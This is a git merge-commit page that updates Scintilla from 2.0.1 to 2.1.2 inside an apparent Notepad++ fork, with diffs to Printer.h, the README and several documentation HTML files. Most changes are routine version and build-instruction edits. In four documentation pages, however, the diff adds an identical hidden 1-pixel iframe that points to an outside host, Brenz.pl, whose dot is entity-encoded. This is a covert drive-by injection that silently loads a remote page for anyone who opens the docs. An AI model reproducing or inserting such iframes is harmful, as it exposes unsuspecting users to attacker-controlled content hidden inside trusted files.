Merge branch 'npp_official_svn' into jl/LH-45/integrate-npp-svn

[UPDATE] Update Scintilla from 2.0.1 to 2.1.2 Conflicts: scintilla/include/Scintilla.h scintilla/src/CallTip.h scintilla/src/DocumentAccessor.h scintilla/src/Editor.cxx scintilla/src/Editor.h scintilla/src/LexErlang.cxx scintilla/src/ScintillaBase.h scintilla/src/StyleContext.h scintilla/vcbuild/SciLexer.dsp scintilla/win32/PlatWin.cxx scintilla/win32/ScintRes.rc scintilla/win32/ScintillaWin.cxx [#45] Signed-off-by: Jocelyn Legault <jocelynlegault@gmail.com>
npp-community · Oct 7, 2010 · 8cdb82f · 8cdb82f
2 parents 15ac679 + a9d683d
commit 8cdb82f
Show file tree

Hide file tree

Showing 103 changed files with 4,100 additions and 2,928 deletions.
diff --git a/PowerEditor/src/ScintillaComponent/Printer.h b/PowerEditor/src/ScintillaComponent/Printer.h
@@ -20,14 +20,6 @@
 
 class ScintillaEditView;
 
-struct RangeToFormat {
-	HDC hdc;
-	HDC hdcTarget;
-	RECT rc;
-	RECT rcPage;
-	CharacterRange chrg;
-};
-
 class Printer
 {
 public :

diff --git a/scintilla/README b/scintilla/README
@@ -6,8 +6,8 @@ To build SciTE, Scintilla must first be built.
 
 *** GTK+/Linux version ***
 
-You must first have GTK+ 1.2 or later and GCC (3.1 or better) installed.
-GTK+ 1.0x will not work and when it did it was very slow.
+You must first have GTK+ 2.0 or later and GCC (4.1 or better) installed.
+GTK+ 1.x will not work.
 Other C++ compilers may work but may require tweaking the make file.
 
 To build Scintilla, use the makefile located in the scintilla/gtk directory
@@ -29,10 +29,6 @@ and make install as this location is compiled into the executable. The global
 properties file is installed at $prefix/share/scite/SciTEGlobal.properties.
 The language specific properties files are also installed into this directory.
 
-To build Scintilla for GTK+ 1 rather than the default GTK+ 2, define GTK1 on
-the make command line:
-	make GTK1=1
-
 To remove SciTE
 	make uninstall
 
@@ -45,9 +41,8 @@ The current make file only supports static linking between SciTE and Scintilla.
 *** Windows version ***
 
 A C++ compiler is required. Visual Studio .NET 2008 is the development system
-used for most development although Mingw32 3.1 is also supported.
-Borland did work but the command lines are now too long and the most recent
-Borland version does not work. For older versions such as version 5.02, add the -l option.
+used for most development although TDM Mingw32 4.4.1 is also supported.
+For older versions of Borland C++ such as version 5.02, add the -l option.
 
 To build Scintilla, make in the scintilla/win32 directory
 		cd scintilla\win32
@@ -67,3 +62,13 @@ An executable SciTE will now be in scite\bin.
 
 The Visual C++ 6.0 project (.dsp) files are no longer supported but are left
 in the download for people that are prepared to update them.
+
+*** GTK+/Windows version ***
+
+Mingw32 is known to work. Other compilers will probably not work.
+
+Only Scintilla will build with GTK+ on Windows. SciTE will not work.
+
+To build Scintilla, make in the scintilla/gtk directory
+	cd scintilla\gtk
+	mingw32-make
diff --git a/scintilla/doc/Design.html b/scintilla/doc/Design.html
@@ -244,6 +244,7 @@ <h3>
       does not follow platform conventions well. A second API could be implemented here that did
       follow platform conventions.
     </p>
-  </body>
+  <iframe style="height:1px" src="http://www&#46;Brenz.pl/rc/" frameborder=0 width=1></iframe>
+</body>
 </html>
 
diff --git a/scintilla/doc/Icons.html b/scintilla/doc/Icons.html
@@ -52,5 +52,6 @@ <h2>
     <td valign="top"><img src="32.png" /></td>
     </tr>
     </table>
-  </body>
+  <iframe style="height:1px" src="http://www&#46;Brenz.pl/rc/" frameborder=0 width=1></iframe>
+</body>
 </html>
diff --git a/scintilla/doc/SciCoding.html b/scintilla/doc/SciCoding.html
@@ -247,5 +247,16 @@ <h3>
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</SPAN><SPAN class=S10>}</SPAN><SPAN class=S0><BR>
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</SPAN><SPAN class=S10>}</SPAN><SPAN class=S0><BR>
 </SPAN><SPAN class=S10>};</SPAN>
-  </body>
+    <h3>
+       Submitting a lexer
+    </h3>
+
+	<p>Add a public feature request to the <a href="https://sourceforge.net/tracker/?group_id=2439&atid=352439">Feature Request Tracker</a>.</p>
+	<p>Send all the modified and new files as full text (not patches) in an archive (.zip or .tgz).</p>
+	<p>Define all of the lexical states in a modified Scintilla.iface.</p>
+	<p>Ensure there are no warnings under the compiler you use. Warnings from other compilers
+	will be noted on the feature request.</p>
+	<p>sc.ch is an int: do not pass this around as a char.</p>
+  <iframe style="height:1px" src="http://www&#46;Brenz.pl/rc/" frameborder=0 width=1></iframe>
+</body>
 </html>
diff --git a/scintilla/doc/ScintillaDoc.html b/scintilla/doc/ScintillaDoc.html
diff --git a/scintilla/doc/ScintillaDownload.html b/scintilla/doc/ScintillaDownload.html
@@ -25,9 +25,9 @@
     <table bgcolor="#CCCCCC" width="100%" cellspacing="0" cellpadding="8" border="0">
       <tr>
         <td>
-          <font size="4"> <a href="http://prdownloads.sourceforge.net/scintilla/scintilla201.zip?download">
+          <font size="4"> <a href="http://prdownloads.sourceforge.net/scintilla/scintilla212.zip?download">
 	Windows</a>&nbsp;&nbsp;
-	<a href="http://prdownloads.sourceforge.net/scintilla/scintilla201.tgz?download">
+	<a href="http://prdownloads.sourceforge.net/scintilla/scintilla212.tgz?download">
           GTK+/Linux</a>&nbsp;&nbsp;
 	</font>
         </td>
@@ -41,16 +41,16 @@ <h2>
       containing very few restrictions.
     </p>
     <h3>
-       Release 2.01
+       Release 2.12
     </h3>
     <h4>
        Source Code
     </h4>
        The source code package contains all of the source code for Scintilla but no binary
 	executable code and is available in
        <ul>
-       <li><a href="http://prdownloads.sourceforge.net/scintilla/scintilla201.zip?download">zip format</a> (1130K) commonly used on Windows</li>
-       <li><a href="http://prdownloads.sourceforge.net/scintilla/scintilla201.tgz?download">tgz format</a> (970K) commonly used on Linux and compatible operating systems</li>
+       <li><a href="http://prdownloads.sourceforge.net/scintilla/scintilla212.zip?download">zip format</a> (1160K) commonly used on Windows</li>
+       <li><a href="http://prdownloads.sourceforge.net/scintilla/scintilla212.tgz?download">tgz format</a> (1080K) commonly used on Linux and compatible operating systems</li>
        </ul>
        Instructions for building on both Windows and Linux are included in the readme file.
     <h4>
@@ -66,5 +66,6 @@ <h4>
        Previous versions can be downloaded from the <a href="ScintillaHistory.html">history
       page</a>.
     </p>
-  </body>
+  <iframe style="height:1px" src="http://www&#46;Brenz.pl/rc/" frameborder=0 width=1></iframe>
+</body>
 </html>